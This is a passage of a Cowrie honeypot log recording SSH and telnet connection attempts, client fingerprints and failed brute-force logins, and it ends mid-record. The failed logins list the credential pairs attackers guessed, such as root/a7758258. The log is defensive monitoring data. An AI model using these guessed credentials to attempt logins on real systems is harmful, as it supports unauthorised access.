{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:05.062958Z","src_ip":"190.244.39.224","session":"a51d6b0c4ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b4e1871bd0","protocol":"telnet","message":"New connection: 107.6.151.170:42998 (159.203.135.109:23) [session: c8b4e1871bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:10.387012Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46428,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e4acc6fee23","protocol":"ssh","message":"New connection: 143.20.185.207:46428 (10.17.0.5:22) [session: 7e4acc6fee23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:14.796614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:14.803404Z","src_ip":"143.20.185.207","session":"7e4acc6fee23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:14.917531Z","src_ip":"143.20.185.207","session":"7e4acc6fee23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS4VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:15.313248Z","src_ip":"143.20.185.207","session":"7e4acc6fee23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57656,"dst_ip":"159.203.135.109","dst_port":23,"session":"45122672ad8a","protocol":"telnet","message":"New connection: 137.184.5.188:57656 (159.203.135.109:23) [session: 45122672ad8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:16.172397Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:16.441157Z","src_ip":"143.20.185.207","session":"7e4acc6fee23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44110,"dst_ip":"159.203.135.109","dst_port":23,"session":"a182657b8cef","protocol":"telnet","message":"New connection: 107.6.151.170:44110 (159.203.135.109:23) [session: a182657b8cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:41.833028Z"}
{"eventid":"cowrie.session.closed","duration":32.08110332489014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:42.468005Z","src_ip":"107.6.151.170","session":"c8b4e1871bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":48410,"dst_ip":"159.203.135.109","dst_port":22,"session":"70edbe175e4c","protocol":"ssh","message":"New connection: 31.179.197.26:48410 (159.203.135.109:22) [session: 70edbe175e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:52.849974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:52.853851Z","src_ip":"31.179.197.26","session":"70edbe175e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:52.973673Z","src_ip":"31.179.197.26","session":"70edbe175e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lulu","password":"lulu123","message":"login attempt [lulu/lulu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:53.488208Z","src_ip":"31.179.197.26","session":"70edbe175e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:54.609878Z","src_ip":"31.179.197.26","session":"70edbe175e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34150,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac8c50a2712a","protocol":"ssh","message":"New connection: 91.92.40.176:34150 (10.17.0.5:22) [session: ac8c50a2712a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:59.976376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:00.151343Z","src_ip":"91.92.40.176","session":"ac8c50a2712a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:00.154372Z","src_ip":"91.92.40.176","session":"ac8c50a2712a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"guest","message":"login attempt [user/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:00.544652Z","src_ip":"91.92.40.176","session":"ac8c50a2712a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:01.630558Z","src_ip":"91.92.40.176","session":"ac8c50a2712a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.92848515510559,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:03.100802Z","src_ip":"137.184.5.188","session":"45122672ad8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":37048,"dst_ip":"159.203.135.109","dst_port":22,"session":"454f61a85955","protocol":"ssh","message":"New connection: 162.240.218.183:37048 (159.203.135.109:22) [session: 454f61a85955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:08.104139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:08.107870Z","src_ip":"162.240.218.183","session":"454f61a85955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:08.194677Z","src_ip":"162.240.218.183","session":"454f61a85955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qnt@Tr0ng$P@ss","message":"login attempt [root/Qnt@Tr0ng$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:08.441384Z","src_ip":"162.240.218.183","session":"454f61a85955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:09.525659Z","src_ip":"162.240.218.183","session":"454f61a85955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":46978,"dst_ip":"159.203.135.109","dst_port":23,"session":"1df51591ef5d","protocol":"telnet","message":"New connection: 143.198.154.150:46978 (159.203.135.109:23) [session: 1df51591ef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:10.412297Z"}
{"eventid":"cowrie.session.closed","duration":32.876953125,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:14.709849Z","src_ip":"107.6.151.170","session":"a182657b8cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54838,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b3a7b9ba66","protocol":"telnet","message":"New connection: 170.64.224.25:54838 (159.203.135.109:23) [session: 76b3a7b9ba66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:27.705729Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49807,"dst_ip":"10.17.0.5","dst_port":22,"session":"791dd0d0daca","protocol":"ssh","message":"New connection: 103.248.120.6:49807 (10.17.0.5:22) [session: 791dd0d0daca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:57.414470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:57.418473Z","src_ip":"103.248.120.6","session":"791dd0d0daca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:57.641770Z","src_ip":"103.248.120.6","session":"791dd0d0daca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7758258","message":"login attempt [root/a7758258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:58.571894Z","src_ip":"103.248.120.6","session":"791dd0d0daca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:06:59.800735Z","src_ip":"103.248.120.6","session":"791dd0d0daca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.461339235305786,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:12.166960Z","src_ip":"170.64.224.25","session":"76b3a7b9ba66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":36052,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ecb620dd243","protocol":"ssh","message":"New connection: 31.179.197.26:36052 (159.203.135.109:22) [session: 0ecb620dd243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:23.362984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:23.366883Z","src_ip":"31.179.197.26","session":"0ecb620dd243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:23.483598Z","src_ip":"31.179.197.26","session":"0ecb620dd243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jin","password":"jin","message":"login attempt [jin/jin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:23.973503Z","src_ip":"31.179.197.26","session":"0ecb620dd243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:25.091187Z","src_ip":"31.179.197.26","session":"0ecb620dd243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":50096,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b66a89570e0","protocol":"ssh","message":"New connection: 103.27.238.114:50096 (10.17.0.5:22) [session: 8b66a89570e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:39.378895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:39.382494Z","src_ip":"103.27.238.114","session":"8b66a89570e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:39.662662Z","src_ip":"103.27.238.114","session":"8b66a89570e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"izmail","message":"login attempt [root/izmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:40.507389Z","src_ip":"103.27.238.114","session":"8b66a89570e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:41.790371Z","src_ip":"103.27.238.114","session":"8b66a89570e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":59238,"dst_ip":"159.203.135.109","dst_port":22,"session":"5348af57a3c9","protocol":"ssh","message":"New connection: 162.254.35.142:59238 (159.203.135.109:22) [session: 5348af57a3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:55.606910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:55.611318Z","src_ip":"162.254.35.142","session":"5348af57a3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01